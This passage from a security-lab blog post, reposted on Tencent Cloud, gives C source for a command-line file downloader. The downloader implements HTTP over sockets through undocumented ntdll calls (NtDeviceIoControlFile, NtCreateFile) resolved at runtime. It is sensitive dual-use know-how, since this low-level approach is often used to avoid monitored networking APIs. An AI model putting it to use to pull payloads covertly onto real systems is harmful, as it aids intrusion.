        printf("Error: Failed to read HTTP response header\n");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

printf("Received HTTP response:\n%s", szResponseHeader);

// 将响应头转换为大写(用于下面的内容长度值搜索
for (int i = 0; i < strlen(szResponseHeader); i++)
{
        // convert to upper-case (for the content-length value search below)
        szResponseHeader[i] = toupper(szResponseHeader[i]);
}

// 检查状态码
memset(szResponseSuccessStatus, 0, sizeof(szResponseSuccessStatus));
strncpy(szResponseSuccessStatus, "HTTP/1.0 200 OK\r\n", sizeof(szResponseSuccessStatus) - 1);
if (strncmp(szResponseHeader, szResponseSuccessStatus, strlen(szResponseSuccessStatus)) != 0)
{
        // error
        printf("Error: Invalid response status code\n");
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 获取内容长度值
memset(szContentLengthParamName, 0, sizeof(szContentLengthParamName));
strncpy(szContentLengthParamName, "CONTENT-LENGTH: ", sizeof(szContentLengthParamName) - 1);
pContentLength = strstr(szResponseHeader, szContentLengthParamName);
if (pContentLength != NULL)
{
        // 内容长度字段存在
        pContentLength += strlen(szContentLengthParamName);
        pEndOfContentLength = strstr(pContentLength, "\r\n");
        if (pEndOfContentLength == NULL)
        {
            // error
            printf("Error: Invalid response header\n");
            NTSockets_CloseSocket(&SocketData);

            return 1;
        }
        *pEndOfContentLength = '\0';
        dwOutputLength = atoi(pContentLength);

        // 处理响应数据
        if (dwOutputLength != 0)
        {
            // 分配输出数据
            pOutputBuffer = (BYTE*)malloc(dwOutputLength);
            if (pOutputBuffer == NULL)
            {
                // error
                printf("Error: Failed to allocate memory\n");
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 读取输出数据
            if (NTSockets_Recv(&SocketData, pOutputBuffer, dwOutputLength) != 0)
            {
                // error
                printf("Error: Failed to read HTTP response data\n");
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }
        }
}
else
{
        // 没有内容长度字段 - 读取直到套接字关闭
        for (;;)
        {
            //读取输出数据
            if (NTSockets_Recv(&SocketData, &bCurrByte, 1) != 0)
            {
                // finished
                break;
            }

            // 检查输出缓冲区是否足够大
            if (dwOutputLength >= dwOutputAllocLength)
            {
                // 重新分配输出缓冲区 - 添加 8kb
                dwOutputAllocLength += 8192;
                if (pOutputBuffer == NULL)
                {
                    // first buffer
                    pOutputBuffer = (BYTE*)malloc(dwOutputAllocLength);
                    if (pOutputBuffer == NULL)
                    {
                        printf("Error: Failed to allocate memory\n");
                        NTSockets_CloseSocket(&SocketData);
                        return 1;
                    }
                }
                else
                {
                    // 重新分配现有缓冲区
                    pNewOutputBuffer = (BYTE*)realloc(pOutputBuffer, dwOutputAllocLength);
                    if (pNewOutputBuffer == NULL)
                    {
                        // error
                        printf("Error: Failed to allocate memory\n");
                        NTSockets_CloseSocket(&SocketData);
                        free(pOutputBuffer);
                        return 1;
                    }
                    // update ptr
                    pOutputBuffer = pNewOutputBuffer;
                }
            }

            //存储当前字节
            *(BYTE*)(pOutputBuffer + dwOutputLength) = bCurrByte;
            dwOutputLength++;
        }
}

//关闭套接字
NTSockets_CloseSocket(&SocketData);

// store data
*pOutput = pOutputBuffer;
*pdwOutputLength = dwOutputLength;
return 0;
}

int main(int argc, char* argv[])
{
BYTE* pOutput = NULL;
DWORD dwLength = 0;
char* pURL = NULL;
char* pOutputPath = NULL;
HANDLE hOutputFile = NULL;
DWORD dwBytesWritten = 0;
if (argc != 3)
{
        printf("Usage: %s [url] [output_file_path]\n\n", argv[0]);
        return 1;
}

// get param
pURL = argv[1];
pOutputPath = argv[2];
// 获取 NtDeviceIoControlFile 函数 ptr
NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");
if (NtDeviceIoControlFile == NULL)
{
        return 1;
}
// 获取 NtCreateFile 函数 ptr
NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");
if (NtCreateFile == NULL)
{
        return 1;
}

printf("Downloading file: %s\n\n", pURL);

// 下载文件
if (DownloadFile(pURL, &pOutput, &dwLength) != 0)
{
        printf("Failed to download file\n");
        return 1;
}
printf("Downloaded %u bytes successfully\n\n", dwLength);
printf("Creating output file: %s\n", pOutputPath);
// 创建输出文件
hOutputFile = CreateFile(pOutputPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE)
{
        printf("Failed to create output file\n");
        return 1;
}
// 将输出数据写入文件
if (WriteFile(hOutputFile, pOutput, dwLength, &dwBytesWritten, NULL) == 0)
{
        printf("Failed to write output data to file\n");
        return 1;
}
CloseHandle(hOutputFile);
if (dwLength != 0)
{
        free(pOutput);
}
printf("\nFinished\n");
return 0;
}

其实这里就当于调用最更低沉的api重新实现了一下socket,处理的细节很多,效果挺好的。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原理和准备
  • 实际代码示例
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档